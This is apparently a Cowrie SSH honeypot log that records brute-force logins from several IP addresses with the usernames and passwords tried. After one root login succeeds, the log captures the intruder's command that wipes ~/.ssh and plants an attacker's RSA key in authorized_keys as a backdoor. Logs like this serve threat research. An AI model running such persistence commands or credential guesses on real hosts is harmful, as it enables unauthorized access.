{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":50936,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8bdbe9bd5cb","protocol":"ssh","message":"New connection: 195.178.110.218:50936 (10.17.0.5:22) [session: c8bdbe9bd5cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:40.703908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:40.709239Z","src_ip":"195.178.110.218","session":"c8bdbe9bd5cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:40.784731Z","src_ip":"195.178.110.218","session":"c8bdbe9bd5cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:41.010203Z","src_ip":"195.178.110.218","session":"c8bdbe9bd5cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:42.087337Z","src_ip":"195.178.110.218","session":"c8bdbe9bd5cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.227","src_port":33868,"dst_ip":"159.203.135.109","dst_port":22,"session":"016c0ff87598","protocol":"ssh","message":"New connection: 185.196.10.227:33868 (159.203.135.109:22) [session: 016c0ff87598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:56.628017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:56.632020Z","src_ip":"185.196.10.227","session":"016c0ff87598","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:56.745672Z","src_ip":"185.196.10.227","session":"016c0ff87598","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"a123123.","message":"login attempt [root/a123123.] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:57.235106Z","src_ip":"185.196.10.227","session":"016c0ff87598","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:57.503305Z","src_ip":"185.196.10.227","session":"016c0ff87598","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:57.507039Z","src_ip":"185.196.10.227","session":"016c0ff87598","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:57.511141Z","src_ip":"185.196.10.227","session":"016c0ff87598","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:57.629352Z","src_ip":"185.196.10.227","session":"016c0ff87598","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:57.893958Z","src_ip":"185.196.10.227","session":"016c0ff87598","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:57.897287Z","src_ip":"185.196.10.227","session":"016c0ff87598","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:58.016709Z","src_ip":"185.196.10.227","session":"016c0ff87598","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:58.020917Z","src_ip":"185.196.10.227","session":"016c0ff87598","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.227","src_port":33874,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ba2065c6870","protocol":"ssh","message":"New connection: 185.196.10.227:33874 (159.203.135.109:22) [session: 5ba2065c6870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:58.127577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:58.131831Z","src_ip":"185.196.10.227","session":"5ba2065c6870","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:58.250242Z","src_ip":"185.196.10.227","session":"5ba2065c6870","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:58.738500Z","src_ip":"185.196.10.227","session":"5ba2065c6870","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:59.855337Z","src_ip":"185.196.10.227","session":"5ba2065c6870","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.227","src_port":33878,"dst_ip":"159.203.135.109","dst_port":22,"session":"8dc0a38c7602","protocol":"ssh","message":"New connection: 185.196.10.227:33878 (159.203.135.109:22) [session: 8dc0a38c7602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:59.962369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:57:59.966762Z","src_ip":"185.196.10.227","session":"8dc0a38c7602","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:58:00.076526Z","src_ip":"185.196.10.227","session":"8dc0a38c7602","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:58:00.551773Z","src_ip":"185.196.10.227","session":"8dc0a38c7602","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:58:00.666418Z","src_ip":"185.196.10.227","session":"016c0ff87598","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:58:00.671319Z","src_ip":"185.196.10.227","session":"8dc0a38c7602","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":41900,"dst_ip":"159.203.135.109","dst_port":22,"session":"20e82172e0d4","protocol":"ssh","message":"New connection: 2.57.122.208:41900 (159.203.135.109:22) [session: 20e82172e0d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:27.912036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:27.933201Z","src_ip":"2.57.122.208","session":"20e82172e0d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:28.048109Z","src_ip":"2.57.122.208","session":"20e82172e0d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:28.471314Z","src_ip":"2.57.122.208","session":"20e82172e0d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:29.572422Z","src_ip":"2.57.122.208","session":"20e82172e0d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.234.53.173","src_port":52780,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7c20e069414","protocol":"ssh","message":"New connection: 103.234.53.173:52780 (159.203.135.109:22) [session: f7c20e069414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:31.855830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:31.860784Z","src_ip":"103.234.53.173","session":"f7c20e069414","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:32.070905Z","src_ip":"103.234.53.173","session":"f7c20e069414","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!QAZ2wsx#EDC","message":"login attempt [ubuntu/!QAZ2wsx#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:32.942272Z","src_ip":"103.234.53.173","session":"f7c20e069414","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":56936,"dst_ip":"159.203.135.109","dst_port":22,"session":"f506e574d63a","protocol":"ssh","message":"New connection: 92.118.39.92:56936 (159.203.135.109:22) [session: f506e574d63a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:33.184463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:33.188945Z","src_ip":"92.118.39.92","session":"f506e574d63a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:33.288607Z","src_ip":"92.118.39.92","session":"f506e574d63a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user","message":"login attempt [user/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:33.606890Z","src_ip":"92.118.39.92","session":"f506e574d63a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:34.157009Z","src_ip":"103.234.53.173","session":"f7c20e069414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:34.708639Z","src_ip":"92.118.39.92","session":"f506e574d63a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.196.10.227","src_port":57248,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e5e3f3da9ce","protocol":"ssh","message":"New connection: 185.196.10.227:57248 (159.203.135.109:22) [session: 9e5e3f3da9ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T01:59:36.002185Z"}
